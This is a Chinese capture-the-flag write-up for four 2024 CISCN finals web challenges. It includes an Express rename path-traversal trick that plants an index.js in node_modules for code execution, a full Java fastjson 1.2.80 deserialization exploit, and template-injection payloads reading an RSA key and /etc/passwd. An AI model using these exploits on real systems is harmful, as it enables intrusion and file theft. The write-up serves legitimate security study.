前言

鸽了三个月的复现计划:)

ezjs

考点是express引擎解析的一个trick,在高版本的express已经修复,先贴源码

const express = require('express');
const ejs=require('ejs')
const session = require('express-session');
const bodyParse = require('body-parser');
const multer = require('multer');
const fs = require('fs'); const path = require("path"); function createDirectoriesForFilePath(filePath) {
const dirname = path.dirname(filePath); fs.mkdirSync(dirname, { recursive: true });
}
function IfLogin(req, res, next){
if (req.session.user!=null){
next()
}else {
res.redirect('/login')
}
} const storage = multer.diskStorage({
destination: function (req, file, cb) {
cb(null, path.join(__dirname, 'uploads')); // 设置上传文件的目标目录
},
filename: function (req, file, cb) {
// 直接使用原始文件名
cb(null, file.originalname);
}
}); // 配置 multer 上传中间件
const upload = multer({
storage: storage, // 使用自定义存储选项
fileFilter: (req, file, cb) => {
const fileExt = path.extname(file.originalname).toLowerCase();
if (fileExt === '.ejs') {
// 如果文件后缀为 .ejs,则拒绝上传该文件
return cb(new Error('Upload of .ejs files is not allowed'), false);
}
cb(null, true); // 允许上传其他类型的文件
}
}); admin={
"username":"ADMIN",
"password":"123456"
}
app=express()
app.use(express.static(path.join(__dirname, 'uploads')));
app.use(express.json());
app.use(bodyParse.urlencoded({extended: false}));
app.set('view engine', 'ejs');
app.use(session({
secret: 'Can_U_hack_me???',
resave: false,
saveUninitialized: true,
cookie: { maxAge: 3600 * 1000 }
})); app.get('/',(req,res)=>{
res.redirect('/login')
}) app.get('/login', (req, res) => {
res.render('login');
}); app.post('/login', (req, res) => {
const { username, password } = req.body;
if (username === 'admin'){
return res.status(400).send('you can not be admin');
}
const new_username = username.toUpperCase() if (new_username === admin.username && password === admin.password) {
req.session.user = "ADMIN";
res.redirect('/rename');
} else {
// res.redirect('/login');
}
}); app.get('/upload', (req, res) => {
res.render('upload');
}); app.post('/upload', upload.single('fileInput'), (req, res) => {
if (!req.file) {
return res.status(400).send('No file uploaded');
}
const fileExt = path.extname(req.file.originalname).toLowerCase(); if (fileExt === '.ejs') {
return res.status(400).send('Upload of .ejs files is not allowed');
}
res.send('File uploaded successfully: ' + req.file.originalname);
}); app.get('/render',(req, res) => {
const { filename } = req.query; if (!filename) {
return res.status(400).send('Filename parameter is required');
} const filePath = path.join(__dirname, 'uploads', filename); if (filePath.endsWith('.ejs')) {
return res.status(400).send('Invalid file type.');
} res.render(filePath);
}); app.get('/rename',IfLogin, (req, res) => { if (req.session.user !== 'ADMIN') {
return res.status(403).send('Access forbidden');
} const { oldPath , newPath } = req.query;
if (!oldPath || !newPath) {
return res.status(400).send('Missing oldPath or newPath');
}
if (newPath && /app\.js|\\|\.ejs/i.test(newPath)) {
return res.status(400).send('Invalid file name');
}
if (oldPath && /\.\.|flag/i.test(oldPath)) {
return res.status(400).send('Invalid file name');
}
const new_file = newPath.toLowerCase(); const oldFilePath = path.join(__dirname, 'uploads', oldPath);
const newFilePath = path.join(__dirname, 'uploads', new_file); if (newFilePath.endsWith('.ejs')){
return res.status(400).send('Invalid file type.');
}
if (!oldPath) {
return res.status(400).send('oldPath parameter is required');
} if (!fs.existsSync(oldFilePath)) {
return res.status(404).send('Old file not found');
} if (fs.existsSync(newFilePath)) {
return res.status(409).send('New file path already exists');
}
createDirectoriesForFilePath(newFilePath)
fs.rename(oldFilePath, newFilePath, (err) => {
if (err) {
console.error('Error renaming file:', err);
return res.status(500).send('Error renaming file');
} res.send('File renamed successfully');
});
}); app.listen('3000', () => {
console.log(`http://localhost:3000`)
})

当我们传入的filename没有后缀的时候,render会自动加入默认设置的.ejs,当我们传入的filename有后缀时,会取最后一个后缀进行require,假设filename=1.js.abc,那么就会require('abc'),为什么会这样,我们追踪下源码,res.render处打个断点

view在没cache的情况下view变量默认是空的,就会在此处调用一个View(),而且当这个函数结束的时候,他会继续走一个tryRender函数,看View函数内容

function View(name, options) {
var opts = options || {}; this.defaultEngine = opts.defaultEngine;
this.ext = extname(name);
this.name = name;
this.root = opts.root; if (!this.ext && !this.defaultEngine) {
throw new Error('No default engine was specified and no extension was provided.');
} var fileName = name; if (!this.ext) {
// get extension from default engine name
this.ext = this.defaultEngine[0] !== '.'
? '.' + this.defaultEngine
: this.defaultEngine; fileName += this.ext;
} if (!opts.engines[this.ext]) {
// load engine
var mod = this.ext.slice(1)
debug('require "%s"', mod) // default engine export
var fn = require(mod).__express if (typeof fn !== 'function') {
throw new Error('Module "' + mod + '" does not provide a view engine.')
} opts.engines[this.ext] = fn
} // store loaded engine
this.engine = opts.engines[this.ext]; // lookup path
this.path = this.lookup(fileName);
}

重点在这

this.ext是我们传入的最后一个后缀,去掉.传给了mod,然后被require,require默认是读取node_modules中的index.js,假设这里mod是js,那么就会require node_modules/js/index.js,也就是说我们能控制node_modules下的文件内容的话就能rce了,刚好这里的rename可以实现目录穿越写入node_modules中,我们先随便上传个index.js,内容为:

const p = require('child_process')
p.exec("calc")

然后rename?oldPath=index.js&newPath=../node_modules/F12/index.js

rce:render?filename=1.F12

fix也很简单,把.js加入黑名单就行

solon_master

考察的是fastjson原生反序列化,fastjson1.2.80,得绕autoType,先看反序列化入口:

重写了resolveClass,最外层得是User类,并且不能使用BadAttributeValueExpException,这个好说,我们看User类

public class User implements Serializable {
public String name;
public Map info; public User() {
} public Map getInfo() {
System.out.println("getInfo");
return this.info;
} public void setInfo(Map info) {
this.info = info;
} public String getName() {
System.out.println("getName");
return this.name;
} public void setName(String name) {
this.name = name;
} public User(String name) {
this.name = name;
}
}

User类中有个属性是Map,我们把这个Map设置成恶意的序列化数据就行了,那么就考虑从HashMap开始往后的利用链,这里选择HashMap#readObject->JSONArray#toString->getter,编写exp:

package com.example.demo;
import com.alibaba.fastjson.JSONArray;
import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl;
import sun.misc.Unsafe;
import java.io.*;
import java.lang.reflect.Field;
import java.nio.file.Files;
import java.nio.file.Paths;
import java.util.ArrayList;
import java.util.Base64;
import java.util.HashMap;
import java.util.Map; public class Test {
public static void main(String[] args) throws Exception {
TemplatesImpl templates = new TemplatesImpl();
Field _name = TemplatesImpl.class.getDeclaredField("_name");
_name.setAccessible(true);
_name.set(templates, "1");
Field _bytecodes = TemplatesImpl.class.getDeclaredField("_bytecodes");
_bytecodes.setAccessible(true);
byte[] bytes = Files.readAllBytes(Paths.get("E:\\untitled\\target\\classes\\com\\example\\demo\\calc.class"));
byte[][] code = {bytes};
_bytecodes.set(templates, code);
Field _tfactory = TemplatesImpl.class.getDeclaredField("_tfactory");
_tfactory.setAccessible(true);
_tfactory.set(templates, new TransformerFactoryImpl());
ArrayList arrayList = new ArrayList();
arrayList.add(templates);
JSONArray toStringBean = new JSONArray(arrayList);
// GetterClass#getName is called
HashMap hashMap = makeHashMapByTextAndMnemonicHashMap(toStringBean);
User user = new User();
user.setName("F12");
user.setInfo(hashMap);
// 这里是为了绕fastjson自己的resolveClass,让其走TC_REFERENCE,就不会走它的resolveClass,也就不会触发autoType
HashMap hashMap1 = new HashMap();
hashMap.put(templates,user);
System.out.println(Base64.getEncoder().encodeToString(ser(user)));
}
public static HashMap makeHashMapByTextAndMnemonicHashMap(Object toStringClass) throws Exception{
Map tHashMap1 = (Map) getObjectByUnsafe(Class.forName("javax.swing.UIDefaults$TextAndMnemonicHashMap"));
Map tHashMap2 = (Map) getObjectByUnsafe(Class.forName("javax.swing.UIDefaults$TextAndMnemonicHashMap"));
tHashMap1.put(toStringClass, "123");
tHashMap2.put(toStringClass, "12");
setFieldValue(tHashMap1, "loadFactor", 1);
setFieldValue(tHashMap2, "loadFactor", 1);
HashMap hashMap = new HashMap();
hashMap.put(tHashMap1,"1");
hashMap.put(tHashMap2,"1");
tHashMap1.put(toStringClass, null);
tHashMap2.put(toStringClass, null);
return hashMap;
}
public static Object getObjectByUnsafe(Class clazz) throws Exception{
Field theUnsafe = Unsafe.class.getDeclaredField("theUnsafe");
theUnsafe.setAccessible(true);
Unsafe unsafe = (Unsafe) theUnsafe.get(null);
return unsafe.allocateInstance(clazz);
}
public static void setFieldValue(Object obj, String key, Object val) throws Exception{
Field field = null;
Class clazz = obj.getClass();
while (true){
try {
field = clazz.getDeclaredField(key);
break;
} catch (NoSuchFieldException e){
clazz = clazz.getSuperclass();
}
}
field.setAccessible(true);
field.set(obj, val);
}
public static byte[] ser(Object obj) throws IOException {
ByteArrayOutputStream baos = new ByteArrayOutputStream();
ObjectOutputStream oos = new ObjectOutputStream(baos);
oos.writeObject(obj);
return baos.toByteArray();
}
public static void unser(byte[] exp) throws ClassNotFoundException, IOException {
ByteArrayInputStream bais = new ByteArrayInputStream(exp);
ObjectInputStream ois = new ObjectInputStream(bais);
ois.readObject();
}
}

关于如何绕fastjson的resolveClass,可以参考https://blog.csdn.net/YakProject/article/details/131291768

ShardCard

使用了沙箱的SSTI,跟R3CTF的NinjaClub有些类似,Info类继承了BaseModel,理论上可以打pickle反序列化,但是本地环境测试好像把parse_raw给拉黑了,那么只能换一种打法,只要读取rsakey,我们就可以伪造token,改变avatar的值来任意读取文件,丢个payload在这:

{{info.__class__.parse_avatar.__globals__.rsakey}},本地读出来nm地址,不玩了,就这样吧

Fobee

beetl模板注入,首先绕username=admin拿到密码,这个很简单,unicode编码就行,/render里使用了BeetlKit.render,这里存在注入,不过有黑名单,如下:

pkgName = name.substring(0, i);
className = name.substring(i + 1);
if (pkgName.startsWith("java.lang.reflect")) {
return false;
} else if (!pkgName.startsWith("java.lang")) {
if (pkgName.startsWith("java.beans")) {
return false;
} else if (pkgName.startsWith("org.beetl")) {
return false;
} else if (pkgName.startsWith("javax.")) {
return false;
} else {
return !pkgName.startsWith("sun.");
}
} else {
return !className.equals("Runtime") && !className.equals("Process") && !className.equals("ProcessBuilder") && !className.equals("Thread") && !className.equals("Class") && !className.equals("System");
}

听说CVE-2024-22533可以代码执行,不过自己摸索没复现出来,这里写一个读取文件的写法,exp如下:

${@java.util.Base64.getEncoder().encodeToString(@java.nio.file.Files.readAllBytes(@java.nio.file.Paths.get("/etc/passwd","")))}

有复现出的师傅麻烦教教我:)

2024Ciscn总决赛Web Writeup的更多相关文章

  1. ISG 2018 Web Writeup

    作者:agetflag 原文来自:ISG 2018 Web Writeup ISG 2018 Web Writeup CTF萌新,所以写的比较基础,请大佬们勿喷,比赛本身的Web题也不难 calc 首 ...

  2. [SHA2017](web) writeup

    [SHA2017](web) writeup Bon Appétit (100) 打开页面查看源代码,发现如下 自然而然想到php伪协议,有个坑,看不了index.php,只能看 .htaccess ...

  3. [WUST-CTF]Web WriteUp

    周末放假忙里偷闲打了两场比赛,其中一场就是武汉科技大学的WUST-CTF新生赛,虽说是新生赛,题目质量还是相当不错的.最后有幸拿了总排第5,记录一下Web的题解. checkin 进入题目询问题目作者 ...

  4. BuuCTF Web Writeup

    WarmUp index.php <html lang="en"> <head> <meta charset="UTF-8"> ...

  5. [MRCTF]Web WriteUp

    和武科大WUSTCTF同时打的一场比赛,最后因为精力放在武科大比赛上了,排名13  - -Web题目难度跨度过大,分不清层次,感觉Web题目分布不是很好,质量还是不错的 Ez_bypass 进入题目得 ...

  6. [易霖博YCTF]Web WriteUp

    中午队里师傅发到群里的比赛,借来队里师傅账号和队里其他师傅一起做了一下,ak了web,师傅们tql.学到挺多东西,总结一下. rce_nopar 进入题目给出源码: <?php if(isset ...

  7. [XNUCA 进阶篇](web)writeup

    XNUCA 靶场练习题writeup default 阳关总在风雨后 题目过滤很多,*,#,/ ,and,or,|,union,空格,都不能用 盲注,最后的姿势是:1'%(1)%'1 中间的括号的位置 ...

  8. 【网鼎杯2020白虎组】Web WriteUp [picdown]

    picdown 抓包发现存在文件包含漏洞: 在main.py下面暴露的flask的源代码 from flask import Flask, Response, render_template, req ...

  9. 【网鼎杯2020青龙组】Web WriteUp

    AreUSerialz 打开题目直接给出了源代码 <?php include("flag.php"); highlight_file(__FILE__); class Fil ...

  10. 2019全国大学生信息安全竞赛部分Web writeup

    JustSoso 0x01 审查元素发现了提示,伪协议拿源码 /index.php?file=php://filter/read=convert.base64-encode/resource=inde ...

随机推荐

  1. 如何配置域名的 CNAME —— 添加记录集时,为什么会提示“与已有解析记录冲突”?

    参考: https://support.huaweicloud.com/dns_faq/dns_faq_016.html https://developer.qiniu.com/fusion/kb/1 ...

  2. 如何拉取指定CPU架构的并且指定ubuntu版本的docker镜像

    拉取不同CPU架构下ubuntu22.04镜像: aarch64 (arm v8) CPU架构: docker pull --platform=linux/aarch64 ubuntu:22.04 x ...

  3. 视频推荐: Linux 的make自动化编译和通用makefile

    1.Linux 的make自动化编译原理 2.makefile编写规则 3.通用makefile的编写 ================================================ ...

  4. 开源的 P2P 跨平台传文件应用「GitHub 热点速览」

    就在上周,发完那篇文章之后不久,我就有幸获得了 GitHub Models 服务公测的访问权限,所以就体验了一下 Playground 聊天功能. 起初,我以为这是"微软菩萨"降临 ...

  5. 禅道项目管理系统权限绕过漏洞(QVD-2024-15263)

    本文所涉及的任何技术.信息或工具,仅供学习和参考之用,请勿将文章内的相关技术用于非法目的,如有相关非法行为与文章作者无关.请遵守<中华人民共和国网络安全法>. 1. 概述 1.1 基本信息 ...

  6. Linux离线安装Tomcat

    系统环境: centos7.3.1611 openjdk version "1.8.0_102" apache-tomcat-9.0.36.tar.gz tomcat 安装 #链接 ...

  7. 玄机蓝队靶场_应急响应_01:linux日志分析

    个人感觉这个靶场主要考验对linux的命令的基础掌握,对日志路径的基本了解. 一:解题 (1)ssh连接靶场,先用命令lsb_release -a看看是什么系统.然后发现是Debian GNU/Lin ...

  8. Poetry 使用

    Poetry 是当下热门的 Python 包管理器.Poetry 注重为项目提供完整的生命周期管理,包括构建.打包.发布和依赖管理.其使用 pyproject.toml 文件来管理项目的依赖和构建配置 ...

  9. 【DVWA】安全测试工具之BurpSuite

    一.应用场景 二.安装软件 官网下载地址:https://portswigger.net/burp/releases 下载版本2021.7 注册机的 Github 项目地址:TrojanAZhen/B ...

  10. python3实现url全编码/解码

    最近在学习SQL注入,绕过方法中有编码注入绕过,需要将关键词进行全编码,百度了一下没有找到全编码工具,所有的编码工具里"and"编码完还是"and",于是查了一 ...